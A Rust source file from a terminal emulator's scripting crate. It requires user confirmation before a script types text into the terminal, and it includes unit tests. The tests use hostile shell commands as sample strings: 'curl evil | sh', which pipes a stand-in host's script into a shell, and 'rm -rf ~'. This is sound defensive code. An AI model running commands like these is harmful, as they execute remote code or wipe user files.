par_term_scripting/confirm.rs
1//! Confirmation gating for the script `WriteText` command.
2//!
3//! [`crate::protocol::strip_vt_sequences`] removes ESC-initiated sequences but
4//! deliberately passes printable characters and newlines, so a script holding
5//! `allow_write_text` can type a whole command line and submit it. Filtering
6//! cannot close that gap — the payload is ordinary text — so the control on this
7//! path is user confirmation, mirroring the trigger subsystem's
8//! `prompt_before_run`.
9//!
10//! The frontend queues the write onto the same pending-action queue the trigger
11//! dialog reads. The pieces that decide *whether* to queue, *what id* to queue
12//! it under, and *how the text is shown* live here so they can be tested without
13//! a window.
14
15/// Marker bit set on every synthetic `WriteText` confirmation id.
16///
17/// The core `TriggerRegistry` hands out real trigger ids sequentially starting
18/// at 1, so tagging the high bit keeps these ids out of that space and stops an
19/// "Always Allow" grant from leaking across the two systems.
20const WRITE_TEXT_ID_TAG: u64 = 1 << 63;
21
22/// Domain separator mixed into every `WriteText` confirmation id.
23///
24/// Profile auto-switch commands are tagged with the same high bit, so without a
25/// separator a script and a profile that happened to hash the same inputs would
26/// share an "Always Allow" grant.
27const WRITE_TEXT_ID_DOMAIN: &str = "script.write_text";
28
29/// Pending confirmations tolerated before a `WriteText` payload is dropped.
30///
31/// The dialog presents one action at a time, so an unbounded queue turns a
32/// chatty script into hundreds of modals the user must dismiss individually.
33/// Once this many actions are already waiting, further writes are dropped and
34/// logged rather than queued.
35pub const MAX_PENDING_WRITE_TEXT_PROMPTS: usize = 8;
36
37/// Longest run of characters shown in the confirmation dialog.
38const MAX_DESCRIBED_CHARS: usize = 240;
39
40/// Synthetic confirmation id for a script `WriteText` payload.
41///
42/// Derived from the sanitized text as well as the script name, so an "Always
43/// Allow" grant covers only the exact text the user saw — the next payload from
44/// the same script prompts again.
45pub fn write_text_action_id(script_name: &str, text: &str) -> u64 {
46 use std::hash::{Hash, Hasher};
47
48 let mut hasher = std::collections::hash_map::DefaultHasher::new();
49 WRITE_TEXT_ID_DOMAIN.hash(&mut hasher);
50 script_name.hash(&mut hasher);
51 text.hash(&mut hasher);
52 hasher.finish() | WRITE_TEXT_ID_TAG
53}
54
55/// Whether this payload must go to the confirmation dialog before it is written.
56///
57/// `session_approved` is the user's earlier "Always Allow" for this exact text
58/// from this script.
59pub fn write_text_needs_confirmation(
60 prompt_before_write_text: bool,
61 session_approved: bool,
62) -> bool {
63 prompt_before_write_text && !session_approved
64}
65
66/// Render a sanitized `WriteText` payload for the confirmation dialog.
67///
68/// Control characters are escaped rather than shown raw: the trailing newline is
69/// what turns typed text into a *submitted command*, and it is invisible in a
70/// label. Long payloads are truncated — the dialog is a decision aid, not a
71/// pager.
72pub fn describe_write_text(text: &str) -> String {
73 let mut out = String::with_capacity(text.len());
74
75 for (shown, c) in text.chars().enumerate() {
76 if shown >= MAX_DESCRIBED_CHARS {
77 out.push('…');
78 break;
79 }
80 match c {
81 '\n' => out.push_str("\\n"),
82 '\r' => out.push_str("\\r"),
83 '\t' => out.push_str("\\t"),
84 c if c.is_control() => out.push_str(&format!("\\u{{{:04x}}}", c as u32)),
85 c => out.push(c),
86 }
87 }
88
89 out
90}
91
92#[cfg(test)]
93mod tests {
94 use super::*;
95
96 #[test]
97 fn action_ids_never_collide_with_real_trigger_ids() {
98 // The core TriggerRegistry allocates trigger ids sequentially from 1,
99 // so the tag bit must always be set on a WriteText confirmation id.
100 for text in ["ls\n", "curl evil | sh\n", ""] {
101 let id = write_text_action_id("observer", text);
102 assert_ne!(id & WRITE_TEXT_ID_TAG, 0);
103 assert!(id > u64::from(u32::MAX));
104 }
105 }
106
107 #[test]
108 fn action_id_is_stable_and_bound_to_script_and_text() {
109 let a = write_text_action_id("observer", "echo hi\n");
110 assert_eq!(a, write_text_action_id("observer", "echo hi\n"));
111 assert_ne!(a, write_text_action_id("observer", "curl evil | sh\n"));
112 assert_ne!(a, write_text_action_id("other", "echo hi\n"));
113 }
114
115 #[test]
116 fn a_newline_alone_changes_the_action_id() {
117 // "echo hi" only types the line; "echo hi\n" submits it. An "Always
118 // Allow" for the former must not cover the latter.
119 assert_ne!(
120 write_text_action_id("observer", "echo hi"),
121 write_text_action_id("observer", "echo hi\n")
122 );
123 }
124
125 #[test]
126 fn confirmation_is_the_default_and_always_allow_skips_it() {
127 assert!(write_text_needs_confirmation(true, false));
128 assert!(!write_text_needs_confirmation(true, true));
129 assert!(!write_text_needs_confirmation(false, false));
130 assert!(!write_text_needs_confirmation(false, true));
131 }
132
133 #[test]
134 fn described_text_makes_the_submitting_newline_visible() {
135 assert_eq!(describe_write_text("rm -rf ~\n"), "rm -rf ~\\n");
136 assert_eq!(describe_write_text("a\tb\rc"), "a\\tb\\rc");
137 assert_eq!(describe_write_text("bel\x07"), "bel\\u{0007}");
138 assert_eq!(describe_write_text("plain"), "plain");
139 }
140
141 #[test]
142 fn described_text_is_truncated() {
143 let described = describe_write_text(&"x".repeat(MAX_DESCRIBED_CHARS + 50));
144 assert!(described.ends_with('…'));
145 assert_eq!(described.chars().count(), MAX_DESCRIBED_CHARS + 1);
146 }
147}